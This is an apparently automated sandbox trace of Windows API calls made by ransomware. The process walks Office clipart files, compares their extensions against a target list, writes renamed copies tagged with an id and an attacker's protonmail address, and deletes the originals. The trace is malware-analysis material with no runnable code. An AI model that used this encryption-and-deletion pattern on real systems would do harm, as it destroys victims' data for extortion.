	[0075.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0075.800] lstrlenW (lpString=".dbf") returned 4
	[0075.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0075.800] lstrlenW (lpString=".1cd") returned 4
	[0075.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0075.800] lstrlenW (lpString=".jpg") returned 4
	[0075.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.800] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.800] lstrlenW (lpString="BS00438_.WMF") returned 12
	[0075.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0076.170] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=1212) returned 1
	[0076.170] CloseHandle (hObject=0x380) returned 1
	[0076.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220
	[0076.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0076.183] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.183] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0076.184] GetLastError () returned 0x0
	[0076.184] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x4bc, lpOverlapped=0x0) returned 1
	[0076.185] WriteFile (in: hFile=0x380, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0076.186] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.186] WriteFile (in: hFile=0x380, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.186] SetEndOfFile (hFile=0x380) returned 1
	[0076.186] CloseHandle (hObject=0x380) returned 1
	[0076.188] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.189] SetEndOfFile (hFile=0x394) returned 1
	[0076.189] CloseHandle (hObject=0x394) returned 1
	[0076.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1
	[0076.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0076.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0076.190] lstrlenW (lpString=".doc") returned 4
	[0076.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.190] lstrlenW (lpString=".docx") returned 5
	[0076.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.190] lstrlenW (lpString=".pdf") returned 4
	[0076.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.190] lstrlenW (lpString=".xls") returned 4
	[0076.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.190] lstrlenW (lpString=".xlsx") returned 5
	[0076.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.190] lstrlenW (lpString=".ppt") returned 4
	[0076.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0076.190] lstrlenW (lpString=".zip") returned 4
	[0076.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.190] lstrlenW (lpString=".rar") returned 4
	[0076.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.191] lstrlenW (lpString=".bz2") returned 4
	[0076.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.191] lstrlenW (lpString=".7z") returned 3
	[0076.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0076.191] lstrlenW (lpString=".dbf") returned 4
	[0076.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0076.191] lstrlenW (lpString=".1cd") returned 4
	[0076.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0076.191] lstrlenW (lpString=".jpg") returned 4
	[0076.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0076.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0076.191] lstrlenW (lpString=".doc") returned 4
	[0076.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.191] lstrlenW (lpString=".docx") returned 5
	[0076.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.191] lstrlenW (lpString=".pdf") returned 4
	[0076.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.191] lstrlenW (lpString=".xls") returned 4
	[0076.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.191] lstrlenW (lpString=".xlsx") returned 5
	[0076.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.191] lstrlenW (lpString=".ppt") returned 4
	[0076.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0076.191] lstrlenW (lpString=".zip") returned 4
	[0076.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.192] lstrlenW (lpString=".rar") returned 4
	[0076.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.192] lstrlenW (lpString=".bz2") returned 4
	[0076.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.192] lstrlenW (lpString=".7z") returned 3
	[0076.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0076.192] lstrlenW (lpString=".dbf") returned 4
	[0076.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0076.192] lstrlenW (lpString=".1cd") returned 4
	[0076.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0076.192] lstrlenW (lpString=".jpg") returned 4
	[0076.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.192] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.192] lstrlenW (lpString="BS01634_.WMF") returned 12
	[0076.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0076.193] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=3494) returned 1
	[0076.193] CloseHandle (hObject=0x394) returned 1
	[0076.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220
	[0076.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0076.193] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.193] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0076.193] GetLastError () returned 0x0
	[0076.193] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xda6, lpOverlapped=0x0) returned 1
	[0076.195] WriteFile (in: hFile=0x380, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xdb0, lpOverlapped=0x0) returned 1
	[0076.196] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.196] WriteFile (in: hFile=0x380, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.196] SetEndOfFile (hFile=0x380) returned 1
	[0076.196] CloseHandle (hObject=0x380) returned 1
	[0076.197] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.197] SetEndOfFile (hFile=0x394) returned 1
	[0076.198] CloseHandle (hObject=0x394) returned 1
	[0076.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1
	[0076.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0076.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0076.199] lstrlenW (lpString=".doc") returned 4
	[0076.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.199] lstrlenW (lpString=".docx") returned 5
	[0076.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.199] lstrlenW (lpString=".pdf") returned 4
	[0076.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.199] lstrlenW (lpString=".xls") returned 4
	[0076.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.199] lstrlenW (lpString=".xlsx") returned 5
	[0076.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.199] lstrlenW (lpString=".ppt") returned 4
	[0076.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0076.199] lstrlenW (lpString=".zip") returned 4
	[0076.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.199] lstrlenW (lpString=".rar") returned 4
	[0076.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.199] lstrlenW (lpString=".bz2") returned 4
	[0076.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.199] lstrlenW (lpString=".7z") returned 3
	[0076.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0076.199] lstrlenW (lpString=".dbf") returned 4
	[0076.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0076.200] lstrlenW (lpString=".1cd") returned 4
	[0076.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0076.200] lstrlenW (lpString=".jpg") returned 4
	[0076.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0076.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0076.200] lstrlenW (lpString=".doc") returned 4
	[0076.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.200] lstrlenW (lpString=".docx") returned 5
	[0076.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.200] lstrlenW (lpString=".pdf") returned 4
	[0076.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.200] lstrlenW (lpString=".xls") returned 4
	[0076.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.200] lstrlenW (lpString=".xlsx") returned 5
	[0076.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.200] lstrlenW (lpString=".ppt") returned 4
	[0076.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0076.200] lstrlenW (lpString=".zip") returned 4
	[0076.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.200] lstrlenW (lpString=".rar") returned 4
	[0076.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.200] lstrlenW (lpString=".bz2") returned 4
	[0076.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.200] lstrlenW (lpString=".7z") returned 3
	[0076.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0076.200] lstrlenW (lpString=".dbf") returned 4
	[0076.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0076.201] lstrlenW (lpString=".1cd") returned 4
	[0076.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0076.201] lstrlenW (lpString=".jpg") returned 4
	[0076.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.201] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.201] lstrlenW (lpString="BS01635_.WMF") returned 12
	[0076.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0076.203] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=14996) returned 1
	[0076.204] CloseHandle (hObject=0x394) returned 1
	[0076.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220
	[0076.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0076.204] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.204] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0076.204] GetLastError () returned 0x0
	[0076.204] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x3a94, lpOverlapped=0x0) returned 1
	[0076.217] WriteFile (in: hFile=0x380, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x3aa0, lpOverlapped=0x0) returned 1
	[0076.218] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.218] WriteFile (in: hFile=0x380, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.219] SetEndOfFile (hFile=0x380) returned 1
	[0076.219] CloseHandle (hObject=0x380) returned 1
	[0076.220] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.220] SetEndOfFile (hFile=0x394) returned 1
	[0076.221] CloseHandle (hObject=0x394) returned 1
	[0076.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1
	[0076.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0076.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0076.221] lstrlenW (lpString=".doc") returned 4
	[0076.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.222] lstrlenW (lpString=".docx") returned 5
	[0076.222] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.222] lstrlenW (lpString=".pdf") returned 4
	[0076.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.222] lstrlenW (lpString=".xls") returned 4
	[0076.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.222] lstrlenW (lpString=".xlsx") returned 5
	[0076.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.222] lstrlenW (lpString=".ppt") returned 4
	[0076.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0076.222] lstrlenW (lpString=".zip") returned 4
	[0076.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.222] lstrlenW (lpString=".rar") returned 4
	[0076.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.222] lstrlenW (lpString=".bz2") returned 4
	[0076.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.222] lstrlenW (lpString=".7z") returned 3
	[0076.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0076.222] lstrlenW (lpString=".dbf") returned 4
	[0076.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0076.222] lstrlenW (lpString=".1cd") returned 4
	[0076.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0076.222] lstrlenW (lpString=".jpg") returned 4
	[0076.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0076.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0076.222] lstrlenW (lpString=".doc") returned 4
	[0076.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.223] lstrlenW (lpString=".docx") returned 5
	[0076.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.223] lstrlenW (lpString=".pdf") returned 4
	[0076.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.223] lstrlenW (lpString=".xls") returned 4
	[0076.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.223] lstrlenW (lpString=".xlsx") returned 5
	[0076.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.223] lstrlenW (lpString=".ppt") returned 4
	[0076.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0076.223] lstrlenW (lpString=".zip") returned 4
	[0076.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.223] lstrlenW (lpString=".rar") returned 4
	[0076.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.223] lstrlenW (lpString=".bz2") returned 4
	[0076.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.223] lstrlenW (lpString=".7z") returned 3
	[0076.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0076.223] lstrlenW (lpString=".dbf") returned 4
